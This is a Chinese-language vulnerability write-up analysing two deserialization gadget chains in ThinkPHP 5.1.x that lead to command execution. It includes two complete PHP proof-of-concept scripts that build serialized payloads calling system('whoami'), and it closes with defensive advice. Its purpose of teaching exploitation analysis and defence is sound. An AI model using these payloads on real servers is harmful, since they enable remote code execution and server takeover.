Thinkphp5.1.x 反序列利用链条分析
字数 1294 2025-08-29 08:31:35
ThinkPHP5.1.x 反序列化利用链分析
环境与触发条件
- 环境: ThinkPHP5.1.38 + PHP7.3.4
- 触发条件: 通过
__destruct或__wakeup魔术方法触发
测试代码
// 测试代码通常是一个反序列化入口点
unserialize($_GET['data']);
利用链分析
利用链一
漏洞起点
think\process\pipes\Windows.php中的__destruct方法触发removeFiles方法
public function __destruct()
{
$this->removeFiles();
}
关键步骤
-
removeFiles方法:- 调用
file_exists()函数处理传入参数 file_exists会将参数当作字符串处理,触发__toString魔术方法
- 调用
-
__toString方法:- 位于
think\model\concern\Conversion.php - 调用
toJson方法,进而调用toArray方法
- 位于
-
toArray方法:- 寻找
可控变量->方法(可控变量)模式触发__call魔术方法 - 关键代码:
$relation->visible($name) - 需要满足:
$this->append不为空(可控)$name不为空且不在$this->relation中
- 寻找
-
getAttr方法:- 位于
think\model\concern\Attribute.php - 调用
getData方法,返回$this->data[$name](两者均可控)
- 位于
-
__call方法:- 位于
think\Request.php - 当
$method在$this->hook中时触发call_user_func_array - 参数部分可控
- 位于
-
RCE触发:
- 通过
isAjax->param->input调用链 input方法中的filterValue使用call_user_func导致命令执行- 关键参数:
$this->filter可控(过滤函数)$this->param可控(命令参数)
- 通过
完整POP链
think\process\pipes\Windows->__destruct()
-> think\process\pipes\Windows->__removeFiles()
-> file_exists()
-> think\model\Pivot->_toString()
-> think\model\Pivot->_toJson()
-> think\model\Pivot->_toArray()
-> think\Request->visible()
-> think\Request->__call
-> call_user_func_array()
-> think\Request->isAjax()
-> think\Request->param()
-> think\Request->input()
-> array_walk_recursive()
-> think\Request->filterValue()
-> call_user_func()
POC代码
<?php
namespace think{
class Request {
protected $hook = [];
protected $config = [];
protected $filter;
protected $param = [];
public function __construct(){
$this->filter = 'system';
$this->param = ['whoami'];
$this->hook = ['visible'=>[$this,'isAjax']];
$this->config = ['var_ajax'=>''];
}
}
abstract class Model{
protected $append = [];
private $data = [];
function __construct() {
$this->append = ['eas' => ['eas']];
$this->data = ['eas' => new Request()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{}
}
namespace think\process\pipes{
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
}
namespace{
echo base64_encode(serialize(new think\process\pipes\Windows()));
}
?>
利用链二
漏洞点
think\model\concern\Attribute中的getAttr方法:
protected function getAttr($name)
{
$value = $this->getData($name);
if (isset($this->withAttr[$fieldName])) {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
return $value;
}
关键步骤
-
参数控制:
$value由getData方法返回值决定(可控)$closure由$this->withAttr[$fieldName]赋值(可控)$fieldName由Loader::parseName($name)决定(可控)
-
函数调用:
- 直接执行
$closure($value, $this->data) - 可构造为任意函数调用
- 直接执行
完整POP链
think\process\pipes\Windows->__destruct()
-> think\process\pipes\Windows->__removeFiles()
-> file_exists()
-> think\model\Pivot->_toString()
-> think\model\Pivot->_toJson()
-> think\model\Pivot->_toArray()
-> think\model\Pivot->getAttr()
-> $closure($value, $this->data)
POC代码
<?php
namespace think{
abstract class Model{
private $data = [];
private $withAttr = [];
function __construct() {
$this->withAttr = ['system' => 'system'];
$this->data = ['system' => 'whoami'];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{}
}
namespace think\process\pipes{
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
}
namespace{
echo base64_encode(serialize(new think\process\pipes\Windows()));
}
?>
总结
-
挖掘方法:
- 正向挖掘:从
__destruct开始分析 - 逆向挖掘:从危险函数(如
call_user_func)回溯
- 正向挖掘:从
-
关键点:
- 魔术方法的触发时机和条件
- 参数的可控性分析
- 类之间的继承和组合关系
-
防御建议:
- 及时更新框架版本
- 避免反序列化用户可控数据
- 使用白名单限制反序列化类
-
学习价值:
- 理解PHP反序列化漏洞的利用方式
- 学习复杂调用链的分析方法
- 掌握ThinkPHP框架的内部工作机制